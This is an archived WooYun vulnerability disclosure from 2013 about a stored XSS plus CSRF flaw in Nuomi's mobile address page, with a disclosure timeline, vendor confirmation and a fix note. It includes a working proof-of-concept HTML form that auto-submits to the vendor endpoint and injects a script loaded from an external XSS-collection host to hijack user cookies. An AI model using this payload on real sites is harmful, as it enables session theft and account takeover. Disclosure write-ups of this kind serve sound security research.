当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2013-031874
漏洞标题：
糯米网某处持久性xss和csrf(结合可劫持用户cookie)
相关厂商：
糯米网
漏洞作者：
xfkxfk
提交时间：
2013-07-23 11:51
修复时间：
2013-09-06 11:52
公开时间：
2013-09-06 11:52
漏洞类型：
CSRF
危害等级：
中
自评Rank：
10
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2013-07-23： 细节已通知厂商并且等待厂商处理中
2013-07-23： 厂商已经确认，细节仅向厂商公开
2013-08-02： 细节向核心白帽子及相关领域专家公开
2013-08-12： 细节向普通白帽子公开
2013-08-22： 细节向实习白帽子公开
2013-09-06： 细节向公众公开

简要描述：

糯米网某处xss和csrf,可劫持用户cookie

详细说明：

第一处xss在用户地址管理中，详细地址没有做过滤，导致xss，而且在增加地址时存在csrf，所以可以结合，达到劫持用户cookies的效果。
首先用户xxxxxx没有地址信息：

1.png


然后随便增加一个地址，截断抓包，看看增加地址的请求如下：

2.png


然后我们构造如下POC：

<html>
<body>
<form id="xfkxfk" name="xfkxfk" action="http://m.nuomi.com/user/address/save?areaId=1000010000" method="POST">
<input type="text" name="tinyurl" value="" />
<input type="text" name="name" value="222222" />
<input type="text" name="mobile" value="13122222222" />
<input type="text" name="areaCode" value="101101101101" />
<input type="text" name="address" value="xfkxfk<script src=http://xss.tw/2644></script>" />
<input type="text" name="postCode" value="222222" />
<input type="submit" value="submit">
</form>
<script>
   document.xfkxfk.submit();
</script>
</body>
</html>


在本地打开如下：

3-0.png


然后返回界面，查看是否添加地址成功：

3.png


至此我们已经成功添加了地址信息，并打开地址管理就会出发xss。
虽然这里的xss只能是x到自己，但是结合上述csrf就可以劫持其他任意用户cookie了。

4.png

漏洞证明：

见详细说明

修复方案：

过滤，加token，判断referer等等

版权声明：转载请注明来源 xfkxfk@乌云

>

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2013-07-23 14:27

厂商回复：

谢谢您对糯米安全的关注，我们会尽快修复。

最新状态：

2013-09-06：已经修复